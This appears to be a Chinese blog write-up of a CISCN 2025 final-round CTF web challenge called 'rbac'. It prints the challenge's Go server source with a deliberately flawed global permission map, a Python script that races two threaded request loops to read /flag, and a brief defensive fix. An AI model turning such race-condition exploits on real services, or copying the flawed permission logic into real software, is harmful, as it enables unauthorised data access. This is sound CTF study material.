yemaster的小窝

第十八届国赛决赛 web rbac 题解

2025-08-03
26

题目源代码

package main

import (
    "errors"
    "os"
    "path/filepath"
    "strings"

    "github.com/gin-gonic/gin"
)

var RBACList = make(map[string]int)

type ResTemplate struct {
    Success bool
    Data    any
}

type ExecStruct struct {
    File      []string
    Directory []string
    Pwd       []string
    Flag      []string
    FuncName  string
    Param     string
}

var rbacLock sync.Mutex

func main() {
    r := gin.Default()
    initRBAC()
    r.GET("/", func(c *gin.Context) {
        htmlContent, err := os.ReadFile("index.html")
        if err != nil {
            c.String(400, "Error loading HTML file")
            return
        }

        c.Writer.Write(htmlContent)
    })

    r.GET("/getCurrentRBAC", func(c *gin.Context) {
        var response ResTemplate

        rbacLock.Lock()
        defer rbacLock.Unlock()

        if RBACList["rbac:read"] == 1 {
            response = ResTemplate{
                Success: true,
                Data:    RBACList,
            }
            c.JSON(200, response)
        } else {
            response = ResTemplate{
                Success: false,
            }
            c.JSON(403, response)

        }

    })

    r.POST("/execSysFunc", func(c *gin.Context) {
        var execStruct ExecStruct
        var response ResTemplate

        rbacLock.Lock()
        defer rbacLock.Unlock()

        err := c.ShouldBindJSON(&execStruct)
        if err != nil {
            response = ResTemplate{
                Success: false,
                Data:    map[string]string{"error": err.Error()},
            }
            c.JSON(400, response)
        }

        // permission grant
        RBACToGrant := make(map[string]int)
        var value string
        maxDeep := 0

        if execStruct.Directory != nil {
            for _, value = range execStruct.Directory {
                if maxDeep < 8 {
                    RBACToGrant["directory:"+value] = 1
                    maxDeep++
                } else {
                    break
                }

            }
        }
        if execStruct.Flag != nil {
            for _, value = range execStruct.Flag {
                if maxDeep < 8 {
                    RBACToGrant["flag:"+value] = 1
                    maxDeep++
                } else {
                    break
                }
            }
        }
        if execStruct.Pwd != nil {
            for _, value = range execStruct.Pwd {
                if maxDeep < 8 {
                    RBACToGrant["pwd:"+value] = 1
                    maxDeep++
                } else {
                    break
                }

            }
        }

        if execStruct.File != nil {

            for _, value = range execStruct.File {
                // Grant temporary file:return permissions
                if value == "return" && RBACList["rbac:change_return"] != 1 {
                    if maxDeep < 5 {
                        RBACToGrant["rbac:change_return:1"] = 1
                        RBACToGrant["file:"+value] = 1
                        RBACToGrant["rbac:change_return:0"] = 1
                        maxDeep += 3
                    } else {
                        break
                    }

                } else {
                    if maxDeep < 8 {
                        RBACToGrant["file:"+value] = 1
                        maxDeep++
                    } else {
                        break
                    }

                }

            }
        }
        updateRBAC(RBACToGrant)
        result, err := execCommand(execStruct.FuncName, execStruct.Param)
        if err != nil {
            response = ResTemplate{
                Success: false,
                Data:    map[string]string{"error": err.Error()},
            }
            c.JSON(400, response)

        } else {
            response = ResTemplate{
                Success: true,
                Data:    map[string]string{"result": result},
            }
            initRBAC()
            c.JSON(200, response)
        }

    })
    r.Run(":80")
}

func initRBAC() {
    RBACList = make(map[string]int)
    RBACList["file:read"] = 0
    RBACList["file:return"] = 0
    RBACList["flag:read"] = 0
    RBACList["flag:return"] = 0
    RBACList["pwd:read"] = 0
    RBACList["directory:read"] = 0
    RBACList["directory:return"] = 0
    RBACList["rbac:read"] = 1
    RBACList["rbac:change_read"] = 1
    RBACList["rbac:change_return"] = 0

}

func updateRBAC(RBACToGrant map[string]int) {
    for key, value := range RBACToGrant {
        if strings.HasSuffix(key, ":read") {
            if RBACList["rbac:change_read"] == 1 {
                RBACList[key] = value
            }
        } else if strings.HasSuffix(key, ":return") {
            if RBACList["rbac:change_return"] == 1 {
                RBACList[key] = value
            }
        } else if key == "rbac:change_return:1" {
            RBACList["rbac:change_return"] = 1

        } else if key == "rbac:change_return:0" {
            RBACList["rbac:change_return"] = 0

        } else {
            RBACList[key] = value
        }

    }
}

func execCommand(funcName string, param string) (string, error) {

    if funcName == "getPwd" {
        if RBACList["pwd:read"] == 1 {
            pwd, err := os.Getwd()
            return pwd, err

        } else {
            return "No Permission", nil
        }
    } else if funcName == "getDirectory" {
        // read directory
        if RBACList["directory:read"] == 1 {
            var fileNames []string
            err := filepath.Walk(param, func(path string, info os.FileInfo, err error) error {
                fileNames = append(fileNames, info.Name())
                return nil
            })
            if err != nil {
                return "error", err
            }
            directoryFiles := strings.Join(fileNames, " ")
            if RBACList["directory:return"] == 1 {
                return directoryFiles, nil
            } else {
                return "the directory " + param + " exists", nil
            }

        } else {
            return "No Permission", nil
        }

    } else if funcName == "getFile" {
        // read file
        if RBACList["file:read"] == 1 {
            if strings.Contains(param, "flag") {
                if RBACList["flag:read"] != 1 {
                    return "No Permission", nil
                }

            }
            data, err := os.ReadFile(param)
            if err != nil {
                return "file:"+param+" doesn't exist", nil
            }
            content := string(data)
            if RBACList["file:return"] == 0 {
                return "the file " + param + " exists", nil
            } else if RBACList["file:return"] == 1 && !strings.Contains(param, "flag") {
                return content, nil
            } else if RBACList["file:return"] == 1 && strings.Contains(param, "flag") && RBACList["flag:return"] == 1 {
                return content, nil
            } else {
                return "the file " + param + " exists", nil
            }

        } else {
            return "No Permission", nil
        }
    } else {
        return "No such func", errors.New("No such func")
    }
}

攻击

因为 rbac 为全局变量,可以利用条件竞争来读取 flag:

import requests
from threading import Thread

url = "problem url"

data1 = {
    "File": ["return", "read"],
    "Flag": ["read", "return"],
    "FuncName": "getFile",
    "Param": "/flag"
}
data2 = {
    "File": ["return", "read"],
    "Directory": ["read", "return"],
    "FuncName": "getDirectory",
    "Param": "/usr/bin"
}

def send_request1():
    while True:
        response = requests.post(url, json=data2)

def send_request2():
    while True:
        response = requests.post(url, json=data1)

        if "the file /flag exists" not in response.text:
            print(response.text)

thread1 = Thread(target=send_request1)
thread2 = Thread(target=send_request2)
thread1.start()
thread2.start()
thread1.join()
thread2.join()

防御

fix 不知道为什么加锁不行,最后是直接把 RBACToGrant["rbac:change_return:1"] = 1 这句去掉了

分类标签:ciscn 国赛 2025

下一篇

没有了
Comments

目录